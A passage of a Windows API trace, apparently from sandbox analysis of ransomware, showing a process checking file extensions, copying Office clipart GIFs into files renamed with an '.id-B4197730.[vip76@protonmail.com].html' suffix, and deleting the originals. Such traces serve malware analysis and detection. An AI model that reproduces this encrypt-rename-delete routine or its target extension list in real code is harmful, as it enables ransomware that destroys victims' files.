	[0069.619] lstrlenW (lpString=".7z") returned 3
	[0069.619] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.619] lstrlenW (lpString=".dbf") returned 4
	[0069.619] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.619] lstrlenW (lpString=".1cd") returned 4
	[0069.619] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.619] lstrlenW (lpString=".jpg") returned 4
	[0069.619] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.619] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.620] lstrlenW (lpString="AG00057_.GIF") returned 12
	[0069.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.743] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=11891) returned 1
	[0069.759] CloseHandle (hObject=0x380) returned 1
	[0069.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220
	[0069.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.760] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.760] GetLastError () returned 0x0
	[0069.760] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x2e73, lpOverlapped=0x0) returned 1
	[0069.762] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0069.763] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.763] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.763] SetEndOfFile (hFile=0x384) returned 1
	[0069.764] CloseHandle (hObject=0x384) returned 1
	[0069.765] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.765] SetEndOfFile (hFile=0x380) returned 1
	[0069.766] CloseHandle (hObject=0x380) returned 1
	[0069.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1
	[0069.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.767] lstrlenW (lpString=".doc") returned 4
	[0069.767] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.767] lstrlenW (lpString=".docx") returned 5
	[0069.767] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.767] lstrlenW (lpString=".pdf") returned 4
	[0069.767] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.767] lstrlenW (lpString=".xls") returned 4
	[0069.767] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.767] lstrlenW (lpString=".xlsx") returned 5
	[0069.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.767] lstrlenW (lpString=".ppt") returned 4
	[0069.767] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.768] lstrlenW (lpString=".zip") returned 4
	[0069.768] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.768] lstrlenW (lpString=".rar") returned 4
	[0069.768] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.768] lstrlenW (lpString=".bz2") returned 4
	[0069.768] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.768] lstrlenW (lpString=".7z") returned 3
	[0069.768] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.768] lstrlenW (lpString=".dbf") returned 4
	[0069.768] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.769] lstrlenW (lpString=".1cd") returned 4
	[0069.769] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.769] lstrlenW (lpString=".jpg") returned 4
	[0069.769] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.769] lstrlenW (lpString=".doc") returned 4
	[0069.769] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.769] lstrlenW (lpString=".docx") returned 5
	[0069.769] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.769] lstrlenW (lpString=".pdf") returned 4
	[0069.769] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString=".xls") returned 4
	[0069.769] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString=".xlsx") returned 5
	[0069.769] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.769] lstrlenW (lpString=".ppt") returned 4
	[0069.769] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.769] lstrlenW (lpString=".zip") returned 4
	[0069.769] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString=".rar") returned 4
	[0069.769] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.769] lstrlenW (lpString=".bz2") returned 4
	[0069.770] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.770] lstrlenW (lpString=".7z") returned 3
	[0069.770] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.770] lstrlenW (lpString=".dbf") returned 4
	[0069.770] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.770] lstrlenW (lpString=".1cd") returned 4
	[0069.770] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0069.770] lstrlenW (lpString=".jpg") returned 4
	[0069.770] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.770] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.770] lstrlenW (lpString="AG00126_.GIF") returned 12
	[0069.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.771] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3140) returned 1
	[0069.771] CloseHandle (hObject=0x380) returned 1
	[0069.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220
	[0069.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.771] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.771] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.771] GetLastError () returned 0x0
	[0069.772] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0069.773] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0069.774] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.774] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.775] SetEndOfFile (hFile=0x384) returned 1
	[0069.775] CloseHandle (hObject=0x384) returned 1
	[0069.776] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.776] SetEndOfFile (hFile=0x380) returned 1
	[0069.777] CloseHandle (hObject=0x380) returned 1
	[0069.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1
	[0069.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.777] lstrlenW (lpString=".doc") returned 4
	[0069.778] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.778] lstrlenW (lpString=".docx") returned 5
	[0069.778] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.778] lstrlenW (lpString=".pdf") returned 4
	[0069.778] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.778] lstrlenW (lpString=".xls") returned 4
	[0069.778] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.778] lstrlenW (lpString=".xlsx") returned 5
	[0069.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.778] lstrlenW (lpString=".ppt") returned 4
	[0069.778] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.778] lstrlenW (lpString=".zip") returned 4
	[0069.778] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.778] lstrlenW (lpString=".rar") returned 4
	[0069.778] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.778] lstrlenW (lpString=".bz2") returned 4
	[0069.778] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.778] lstrlenW (lpString=".7z") returned 3
	[0069.778] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.778] lstrlenW (lpString=".dbf") returned 4
	[0069.778] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.778] lstrlenW (lpString=".1cd") returned 4
	[0069.778] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.778] lstrlenW (lpString=".jpg") returned 4
	[0069.779] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.779] lstrlenW (lpString=".doc") returned 4
	[0069.779] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.779] lstrlenW (lpString=".docx") returned 5
	[0069.779] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.779] lstrlenW (lpString=".pdf") returned 4
	[0069.779] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString=".xls") returned 4
	[0069.779] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString=".xlsx") returned 5
	[0069.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.779] lstrlenW (lpString=".ppt") returned 4
	[0069.779] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.779] lstrlenW (lpString=".zip") returned 4
	[0069.779] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString=".rar") returned 4
	[0069.779] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.779] lstrlenW (lpString=".bz2") returned 4
	[0069.779] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.779] lstrlenW (lpString=".7z") returned 3
	[0069.779] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.780] lstrlenW (lpString=".dbf") returned 4
	[0069.780] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.780] lstrlenW (lpString=".1cd") returned 4
	[0069.780] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68
	[0069.780] lstrlenW (lpString=".jpg") returned 4
	[0069.780] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.780] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.780] lstrlenW (lpString="AG00129_.GIF") returned 12
	[0069.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.780] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12482) returned 1
	[0069.780] CloseHandle (hObject=0x380) returned 1
	[0069.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220
	[0069.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.781] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.781] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0069.781] GetLastError () returned 0x0
	[0069.782] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x30c2, lpOverlapped=0x0) returned 1
	[0069.783] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x30d0, lpOverlapped=0x0) returned 1
	[0069.785] ReadFile (in: hFile=0x380, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.785] WriteFile (in: hFile=0x384, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.785] SetEndOfFile (hFile=0x384) returned 1
	[0069.785] CloseHandle (hObject=0x384) returned 1
	[0069.786] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.786] SetEndOfFile (hFile=0x380) returned 1
	[0069.787] CloseHandle (hObject=0x380) returned 1
	[0069.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1
	[0069.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.788] lstrlenW (lpString=".doc") returned 4
	[0069.788] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.788] lstrlenW (lpString=".docx") returned 5
	[0069.788] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.788] lstrlenW (lpString=".pdf") returned 4
	[0069.788] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.788] lstrlenW (lpString=".xls") returned 4
	[0069.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.789] lstrlenW (lpString=".xlsx") returned 5
	[0069.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.789] lstrlenW (lpString=".ppt") returned 4
	[0069.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString=".zip") returned 4
	[0069.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.789] lstrlenW (lpString=".rar") returned 4
	[0069.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.789] lstrlenW (lpString=".bz2") returned 4
	[0069.789] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.789] lstrlenW (lpString=".7z") returned 3
	[0069.789] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString=".dbf") returned 4
	[0069.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString=".1cd") returned 4
	[0069.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString=".jpg") returned 4
	[0069.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.789] lstrlenW (lpString=".doc") returned 4
	[0069.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.790] lstrlenW (lpString=".docx") returned 5
	[0069.790] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.790] lstrlenW (lpString=".pdf") returned 4
	[0069.790] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.790] lstrlenW (lpString=".xls") returned 4
	[0069.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.790] lstrlenW (lpString=".xlsx") returned 5
	[0069.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.790] lstrlenW (lpString=".ppt") returned 4
	[0069.790] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68
	[0069.790] lstrlenW (lpString=".zip") returned 4
	[0069.790] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.790] lstrlenW (lpString=".rar") returned 4
	[0069.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.790] lstrlenW (lpString=".bz2") returned 4
	[0069.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.790] lstrlenW (lpString=".7z") returned 3
	[0069.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
